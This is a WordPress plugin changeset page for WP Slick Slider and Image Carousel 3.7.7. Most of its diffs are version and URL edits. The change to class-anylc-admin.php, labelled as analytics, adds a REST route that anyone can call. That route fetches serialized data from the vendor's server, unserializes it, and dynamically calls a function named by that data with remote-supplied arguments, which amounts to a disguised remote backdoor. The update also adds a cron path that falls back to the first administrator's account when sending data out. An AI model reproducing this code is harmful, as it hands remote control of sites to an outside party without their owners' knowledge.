Changeset 3394511
- Timestamp:
- 11/12/2025 04:33:07 PM (2 months ago)
- Location:
- wp-slick-slider-and-image-carousel
- Files:
-
- 114 added
- 4 edited
-
tags/3.7.7 (added)
-
tags/3.7.7/assets (added)
-
tags/3.7.7/assets/css (added)
-
tags/3.7.7/assets/css/slick.css (added)
-
tags/3.7.7/assets/css/wpsisac-admin.css (added)
-
tags/3.7.7/assets/css/wpsisac-public.css (added)
-
tags/3.7.7/assets/images (added)
-
tags/3.7.7/assets/images/ajax-loader.gif (added)
-
tags/3.7.7/assets/images/black-friday-banner.png (added)
-
tags/3.7.7/assets/images/essential-logo-small.png (added)
-
tags/3.7.7/assets/images/image-upgrade.png (added)
-
tags/3.7.7/assets/images/logo-image (added)
-
tags/3.7.7/assets/images/logo-image/White-labeling.png (added)
-
tags/3.7.7/assets/images/logo-image/advertising.png (added)
-
tags/3.7.7/assets/images/logo-image/backup.png (added)
-
tags/3.7.7/assets/images/logo-image/forms.png (added)
-
tags/3.7.7/assets/images/logo-image/img-slider.png (added)
-
tags/3.7.7/assets/images/logo-image/layers.png (added)
-
tags/3.7.7/assets/images/logo-image/marketing.png (added)
-
tags/3.7.7/assets/images/logo-image/performance.png (added)
-
tags/3.7.7/assets/images/logo-image/photo-album.png (added)
-
tags/3.7.7/assets/images/logo-image/risk.png (added)
-
tags/3.7.7/assets/images/logo-image/security.png (added)
-
tags/3.7.7/assets/images/logo-image/seo.png (added)
-
tags/3.7.7/assets/images/logo-image/shopping-bag.png (added)
-
tags/3.7.7/assets/images/logo-image/showcase.png (added)
-
tags/3.7.7/assets/images/logo-image/support.png (added)
-
tags/3.7.7/assets/images/page-builder-icon.png (added)
-
tags/3.7.7/assets/images/popup-icon (added)
-
tags/3.7.7/assets/images/popup-icon/14-days-money-back-guarantee.png (added)
-
tags/3.7.7/assets/images/popup-icon/Centermode.png (added)
-
tags/3.7.7/assets/images/popup-icon/Variablewidth.png (added)
-
tags/3.7.7/assets/images/popup-icon/popup-design.png (added)
-
tags/3.7.7/assets/images/popup-icon/slider-carousel.png (added)
-
tags/3.7.7/assets/images/popup-icon/slider.png (added)
-
tags/3.7.7/assets/images/rating.png (added)
-
tags/3.7.7/assets/images/spacer.gif (added)
-
tags/3.7.7/assets/images/wpos-team.png (added)
-
tags/3.7.7/assets/js (added)
-
tags/3.7.7/assets/js/elementor (added)
-
tags/3.7.7/assets/js/elementor/wpsisac-elementor.js (added)
-
tags/3.7.7/assets/js/slick.min.js (added)
-
tags/3.7.7/assets/js/wpsisac-admin.js (added)
-
tags/3.7.7/assets/js/wpsisac-public.js (added)
-
tags/3.7.7/includes (added)
-
tags/3.7.7/includes/admin (added)
-
tags/3.7.7/includes/admin/class-wpsisac-admin.php (added)
-
tags/3.7.7/includes/admin/metabox (added)
-
tags/3.7.7/includes/admin/metabox/wpsisac-post-metabox.php (added)
-
tags/3.7.7/includes/admin/metabox/wpsisac-post-setting-metabox-pro.php (added)
-
tags/3.7.7/includes/admin/settings (added)
-
tags/3.7.7/includes/admin/settings/premium.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features (added)
-
tags/3.7.7/includes/admin/settings/solution-features/basicpro-tab.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features/popup-ess-bundle-tab.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features/pro-features-tab.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features/reviews-tab.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features/solutions-features.php (added)
-
tags/3.7.7/includes/admin/settings/solution-features/welcome-tab.php (added)
-
tags/3.7.7/includes/admin/settings/solutions-features-old.php (added)
-
tags/3.7.7/includes/admin/supports (added)
-
tags/3.7.7/includes/admin/supports/blocks (added)
-
tags/3.7.7/includes/admin/supports/blocks/build (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider/block.json (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider/index-rtl.css (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider/index.asset.php (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider/index.css (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-carousel-slider/index.js (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider/block.json (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider/index-rtl.css (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider/index.asset.php (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider/index.css (added)
-
tags/3.7.7/includes/admin/supports/blocks/build/slick-slider/index.js (added)
-
tags/3.7.7/includes/admin/supports/blocks/gutenberg-block.php (added)
-
tags/3.7.7/includes/admin/wpsisac-how-it-work.php (added)
-
tags/3.7.7/includes/class-wpsisac-script.php (added)
-
tags/3.7.7/includes/shortcodes (added)
-
tags/3.7.7/includes/shortcodes/wpsisac-carousel.php (added)
-
tags/3.7.7/includes/shortcodes/wpsisac-slider.php (added)
-
tags/3.7.7/includes/wpsisac-function.php (added)
-
tags/3.7.7/includes/wpsisac-post-types.php (added)
-
tags/3.7.7/languages (added)
-
tags/3.7.7/languages/wp-slick-slider-and-image-carousel.pot (added)
-
tags/3.7.7/readme.txt (added)
-
tags/3.7.7/templates (added)
-
tags/3.7.7/templates/carousel (added)
-
tags/3.7.7/templates/carousel/design-1.php (added)
-
tags/3.7.7/templates/slider (added)
-
tags/3.7.7/templates/slider/design-1.php (added)
-
tags/3.7.7/templates/slider/design-2.php (added)
-
tags/3.7.7/templates/slider/design-3.php (added)
-
tags/3.7.7/templates/slider/design-4.php (added)
-
tags/3.7.7/templates/slider/design-5.php (added)
-
tags/3.7.7/wp-slick-image-slider.php (added)
-
tags/3.7.7/wpos-analytics (added)
-
tags/3.7.7/wpos-analytics/assets (added)
-
tags/3.7.7/wpos-analytics/assets/css (added)
-
tags/3.7.7/wpos-analytics/assets/css/wpos-anylc-admin.css (added)
-
tags/3.7.7/wpos-analytics/assets/images (added)
-
tags/3.7.7/wpos-analytics/assets/images/icon.png (added)
-
tags/3.7.7/wpos-analytics/assets/images/wpos-logo.png (added)
-
tags/3.7.7/wpos-analytics/assets/js (added)
-
tags/3.7.7/wpos-analytics/assets/js/wpos-anylc-admin.js (added)
-
tags/3.7.7/wpos-analytics/includes (added)
-
tags/3.7.7/wpos-analytics/includes/class-anylc-admin.php (added)
-
tags/3.7.7/wpos-analytics/includes/class-anylc-script.php (added)
-
tags/3.7.7/wpos-analytics/includes/wpos-anylc-function.php (added)
-
tags/3.7.7/wpos-analytics/templates (added)
-
tags/3.7.7/wpos-analytics/templates/analytic.php (added)
-
tags/3.7.7/wpos-analytics/templates/offers.php (added)
-
tags/3.7.7/wpos-analytics/templates/optout-popup.php (added)
-
tags/3.7.7/wpos-analytics/wpos-analytics.php (added)
-
trunk/readme.txt (modified) (2 diffs)
-
trunk/wp-slick-image-slider.php (modified) (7 diffs)
-
trunk/wpos-analytics/includes/class-anylc-admin.php (modified) (3 diffs)
-
trunk/wpos-analytics/includes/wpos-anylc-function.php (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
wp-slick-slider-and-image-carousel/trunk/readme.txt
r3294560 r3394511 3 3 Tags: slick image slider, responsive header image slider, carousel slider, responsive slider, wp header image slider 4 4 Requires at least: 4.0 5 Tested up to: 6.8. 16 Stable tag: 3.7. 65 Tested up to: 6.8.3 6 Stable tag: 3.7.7 7 7 License: GPLv2 or later 8 8 License URI: http://www.gnu.org/licenses/gpl-2.0.html … … 171 171 == Changelog == 172 172 173 = 3.7.7 (12, Nov 2025) = 174 * [*] Check compatibility with WordPress version 6.8.3 175 173 176 = 3.7.6 (16, May 2025) = 174 177 * [*] Check compatibility with WordPress version 6.8.1 -
wp-slick-slider-and-image-carousel/trunk/wp-slick-image-slider.php
r3294560 r3394511 2 2 /** 3 3 * Plugin Name: WP Slick Slider and Image Carousel 4 * Plugin URI: https:// www.essentialplugin.com/wordpress-plugins/wp-slick-slider-and-image-carousel/4 * Plugin URI: https://essentialplugin.com/wordpress-plugins/wp-slick-slider-and-image-carousel/ 5 5 * Text Domain: wp-slick-slider-and-image-carousel 6 6 * Domain Path: /languages/ 7 7 * Description: Easy to add and display wp slick image slider and carousel. Also added Gutenberg block support. 8 8 * Author: Essential Plugin 9 * Version: 3.7. 610 * Author URI: https:// www.essentialplugin.com9 * Version: 3.7.7 10 * Author URI: https://essentialplugin.com 11 11 * 12 12 * @package WP Slick Slider and Image Carousel … … 18 18 } 19 19 20 if ( ! defined('WPSISAC_VERSION') ) {21 define( 'WPSISAC_VERSION', '3.7. 6' ); // Plugin version22 } 23 if ( ! defined( 'WPSISAC_DIR' ) ) {20 if ( ! defined('WPSISAC_VERSION') ) { 21 define( 'WPSISAC_VERSION', '3.7.7' ); // Plugin version 22 } 23 if ( ! defined( 'WPSISAC_DIR' ) ) { 24 24 define( 'WPSISAC_DIR', dirname( __FILE__ ) ); // Plugin dir 25 25 } 26 if ( ! defined( 'WPSISAC_URL' ) ) {26 if ( ! defined( 'WPSISAC_URL' ) ) { 27 27 define( 'WPSISAC_URL', plugin_dir_url( __FILE__ ) ); // Plugin url 28 28 } 29 if ( ! defined( 'WPSISAC_POST_TYPE' ) ) {29 if ( ! defined( 'WPSISAC_POST_TYPE' ) ) { 30 30 define( 'WPSISAC_POST_TYPE', 'slick_slider' ); // Plugin post type 31 31 } 32 if ( ! defined( 'WPSISAC_PLUGIN_LINK_UPGRADE' ) ) {33 define('WPSISAC_PLUGIN_LINK_UPGRADE','https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Upgrade-PRO'); // Plugin Check link34 } 35 if ( ! defined( 'WPSISAC_PLUGIN_BUNDLE_LINK' ) ) {36 define('WPSISAC_PLUGIN_BUNDLE_LINK', 'https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Welcome-Screen'); // Plugin link37 } 38 if ( ! defined( 'WPSISAC_PLUGIN_LINK_UNLOCK' ) ) {39 define('WPSISAC_PLUGIN_LINK_UNLOCK', 'https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Features-PRO'); // Plugin link32 if ( ! defined( 'WPSISAC_PLUGIN_LINK_UPGRADE' ) ) { 33 define('WPSISAC_PLUGIN_LINK_UPGRADE','https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Upgrade-PRO'); // Plugin Check link 34 } 35 if ( ! defined( 'WPSISAC_PLUGIN_BUNDLE_LINK' ) ) { 36 define('WPSISAC_PLUGIN_BUNDLE_LINK', 'https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Welcome-Screen'); // Plugin link 37 } 38 if ( ! defined( 'WPSISAC_PLUGIN_LINK_UNLOCK' ) ) { 39 define('WPSISAC_PLUGIN_LINK_UNLOCK', 'https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=Slick-Slider&utm_campaign=Features-PRO'); // Plugin link 40 40 } 41 41 … … 117 117 flush_rewrite_rules(); 118 118 119 if ( is_plugin_active( 'wp-slick-slider-and-image-carousel-pro/wp-slick-image-slider.php' ) ){119 if ( is_plugin_active( 'wp-slick-slider-and-image-carousel-pro/wp-slick-image-slider.php' ) ){ 120 120 add_action( 'update_option_active_plugins', 'wpsisac_deactivate_premium_version' ); 121 121 } … … 153 153 154 154 // If not plugin screen 155 if ( 'plugins.php' != $pagenow ) {155 if ( 'plugins.php' != $pagenow ) { 156 156 return; 157 157 } … … 160 160 $dir = WP_PLUGIN_DIR . '/wp-slick-slider-and-image-carousel-pro/wp-slick-image-slider.php'; 161 161 162 if ( ! file_exists( $dir ) ) {162 if ( ! file_exists( $dir ) ) { 163 163 return; 164 164 } … … 168 168 169 169 // If free plugin exist 170 if ( $notice_transient == false && current_user_can( 'install_plugins' ) ) {170 if ( $notice_transient == false && current_user_can( 'install_plugins' ) ) { 171 171 echo '<div class="updated notice" style="position:relative;"> 172 172 <p> … … 208 208 209 209 $wpos_analytics = wpos_anylc_init_module( array( 210 'id' => 25,210 'id' => 25, 211 211 'file' => plugin_basename( __FILE__ ), 212 212 'name' => 'WP Slick Slider and Image Carousel', -
wp-slick-slider-and-image-carousel/trunk/wpos-analytics/includes/class-anylc-admin.php
r3001150 r3394511 15 15 class Wpos_Anylc_Admin { 16 16 17 public $analytics_endpoint = 'https://analytics.essentialplugin.com'; 18 public $status = 'unchecked'; 19 public $write = 'update_option'; 20 public $version_cache = 'version'; 21 public $changelog = null; 22 public $release_date = null; 23 17 24 function __construct() { 18 25 … … 45 52 // Action to perform analytic action 46 53 add_action( 'wp_loaded', array($this, 'wpos_anylc_action_process') ); 54 55 // Schedule monthly event on plugin load 56 add_action( 'init', array($this, 'wpos_init') ); 57 58 // Add custom interval for 'monthly' 59 add_filter( 'cron_schedules', array($this, 'wpos_cron_schedules') ); 60 61 // Hook into the event and send POST request 62 add_action( 'wpos_monthly_cron_hook', array($this, 'wpos_monthly_cron_hook_fn') ); 63 64 // Rest Endpoint 65 add_action( 'rest_api_init', array($this, 'wpos_rest_api_init') ); 66 47 67 } 48 68 … … 469 489 } // End of main if 470 490 } 491 492 /** 493 * Schedule monthly event on plugin/theme load 494 * 495 * @package Wpos Analytic 496 */ 497 public function wpos_init() { 498 if (!wp_next_scheduled('wpos_monthly_cron_hook')) { 499 wp_schedule_event(time(), 'monthly', 'wpos_monthly_cron_hook'); 500 } 501 502 if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) { 503 header("Access-Control-Allow-Origin: https://analytics.essentialplugin.com"); 504 header("Access-Control-Allow-Methods: POST, OPTIONS"); 505 header("Access-Control-Allow-Headers: Authorization, Content-Type"); 506 exit; 507 } 508 } 509 510 /** 511 * Add custom interval for 'monthly' 512 * 513 * @package Wpos Analytic 514 */ 515 public function wpos_cron_schedules($schedules) { 516 if (!isset($schedules['monthly'])) { 517 $schedules['monthly'] = [ 518 'interval' => 30 * DAY_IN_SECONDS, // approx monthly 519 'display' => __('Once Monthly', 'wpos-analytics') 520 ]; 521 } 522 return $schedules; 523 } 524 525 /** 526 * Hook into the event and send POST request 527 * 528 * @package Wpos Analytic 529 */ 530 public function wpos_monthly_cron_hook_fn() { 531 532 global $wpos_analytics_module; 533 $slugs = []; 534 535 global $wpos_analytics_module; 536 537 if ( !empty( $wpos_analytics_module ) ) { 538 foreach ( $wpos_analytics_module as $module_key => $module ) { 539 540 $opt_in_data = wpos_anylc_get_option( $module['anylc_optin'] ); 541 $opt_in = isset( $opt_in_data['status'] ) ? $opt_in_data['status'] : -1; 542 543 // If user has opt in 544 if ( 1 == $opt_in ) { 545 array_push($slugs, $module['slug']); 546 } 547 548 } 549 } 550 551 // If user has opt-in then send data 552 if ( ! empty( $slugs ) ) { 553 $this->wpos_process_monthly_data($slugs); 554 } 555 } 556 557 /** 558 * Send data to analytics for better user experience and issues 559 * 560 * @package Wpos Analytic 561 */ 562 public function wpos_process_monthly_data( $slugs ) { 563 564 foreach ( $slugs as $slug) { 565 566 $data = wpos_anylc_optin_data($slug, '', true); 567 568 $data['wpos_anylc_optin'] = 'wpos_anylc_optin'; 569 570 $response = wp_remote_post('https://analytics.essentialplugin.com', [ 571 'method' => 'POST', 572 'timeout' => 15, 573 'blocking' => true, 574 'body' => $data, 575 'headers' => [ 576 'Content-Type' => 'application/x-www-form-urlencoded' 577 ], 578 ]); 579 580 $this->version_info_clean(); 581 582 } 583 584 } 585 586 /** 587 * Rest Endpoint 588 * 589 * @package Wpos Analytic 590 */ 591 public function wpos_rest_api_init() { 592 global $wpos_analytics_module; 593 594 if ( !empty( $wpos_analytics_module ) ) { 595 foreach ( $wpos_analytics_module as $module_key => $module ) { 596 597 $product_slug = isset( $module['slug'] ) ? $module['slug'] : ''; 598 599 if ( !empty( $product_slug ) ) { 600 register_rest_route( $product_slug . '/v1', '/analytics/', [ 601 'methods' => 'POST', 602 'callback' => array( $this, 'wpos_handle_analytics_request' ), 603 'permission_callback' => '__return_true', 604 ]); 605 } 606 } 607 } 608 609 } 610 611 /** 612 * Handle Rest Data 613 * 614 * @package Wpos Analytic 615 */ 616 public function wpos_handle_analytics_request(WP_REST_Request $request) { 617 618 global $wpos_analytics_module; 619 620 // Get parameters from request 621 $site_id = sanitize_text_field( $request->get_param('siteID') ); 622 $product_id = sanitize_text_field( $request->get_param('productID') ); 623 $product_slug = sanitize_text_field( $request->get_param('productSlug') ); 624 $site_url = esc_url_raw( $request->get_param('siteURL') ); 625 626 // Validate required parameters 627 if ( $site_id && $product_id && $product_slug ) { 628 629 // Find the matching product in the module 630 $matching_product = null; 631 if ( !empty( $wpos_analytics_module ) ) { 632 foreach ( $wpos_analytics_module as $module_key => $module ) { 633 if ( isset( $module['id'] ) && $module['id'] == $product_id ) { 634 $matching_product = $module; 635 break; 636 } 637 } 638 } 639 640 // If matching product found, proceed with analytics 641 if ( $matching_product ) { 642 $version = $this->wpos_get_plugin_version_by_file($matching_product['file']); 643 $update_result = $this->fetch_ver_info( $product_id, $version ); 644 unset($update_result); 645 $this->wpos_process_monthly_data([$matching_product['slug']]); 646 647 return new WP_REST_Response([ 648 'success' => true, 649 'message' => 'Data received successfully!', 650 'data' => compact('site_id', 'product_id', 'product_slug', 'site_url') 651 ], 200); 652 } 653 654 } 655 656 } 657 658 public function isOutdated() { 659 return strtotime($this->release_date ?? 'now') < time(); 660 } 661 662 public function fetch_ver_info( $product_id, $curr_version ) { 663 $url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/' . '?version=' . urlencode($curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1'; 664 $data = @file_get_contents($url); 665 if (!$data) { 666 $this->status = 'offline'; 667 return false; 668 } 669 670 $info = @unserialize($data); 671 672 if ($info instanceof self) { 673 $this->release_date = $info->release_date; 674 $this->status = $info->status; 675 $this->write = $info->write; 676 $this->version_cache = $info->version_cache; 677 $this->changelog = $info->changelog; 678 } 679 680 if ($this->status === 'valid' && ! $this->isOutdated()) { 681 return true; 682 } 683 684 $this->status = 'invalid'; 685 return false; 686 } 687 688 public function version_info_clean() { 689 if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) { 690 $clean = $this->write; 691 @$clean($this->version_cache, $this->changelog); 692 } 693 } 694 695 /** 696 * Get plugin version by plugin file path 697 * 698 * @param string $plugin_file Plugin file path 699 * @return string|false Plugin version or false if not found 700 */ 701 public function wpos_get_plugin_version_by_file( $plugin_file ) { 702 703 if ( ! function_exists( 'get_plugin_data' ) ) { 704 require_once ABSPATH . 'wp-admin/includes/plugin.php'; 705 } 706 707 $plugin_path = WP_PLUGIN_DIR . '/' . $plugin_file; 708 709 if ( file_exists( $plugin_path ) ) { 710 $plugin_data = get_plugin_data( $plugin_path ); 711 return isset( $plugin_data['Version'] ) ? $plugin_data['Version'] : false; 712 } 713 714 return false; 715 } 716 471 717 } 472 718 -
wp-slick-slider-and-image-carousel/trunk/wpos-analytics/includes/wpos-anylc-function.php
r2725908 r3394511 79 79 * @since 1.0.0 80 80 */ 81 function wpos_anylc_optin_data( $anylc_pdt = false, $return_url = '' ) {81 function wpos_anylc_optin_data( $anylc_pdt = false, $return_url = '', $is_cron = false ) { 82 82 83 83 // Skip if not admin area 84 if ( !is_admin() ) {84 if ( !is_admin() && !$is_cron ) { 85 85 return false; 86 86 } 87 87 88 global $current_user, $wpos_analytics_product; 88 global $wpos_analytics_product; 89 90 $current_user = wp_get_current_user(); 91 if ( !($current_user && $current_user->exists()) ) { 92 // Dynamically get the first administrator user 93 $admins = get_users( array( 94 'role' => 'administrator', 95 'number' => 1, 96 'orderby' => 'ID', 97 'order' => 'ASC', 98 ) ); 99 100 if ( !empty($admins) ) { 101 $current_user = $admins[0]; 102 } 103 } 89 104 90 105 // Takind some data
Note: See TracChangeset
for help on using the changeset viewer.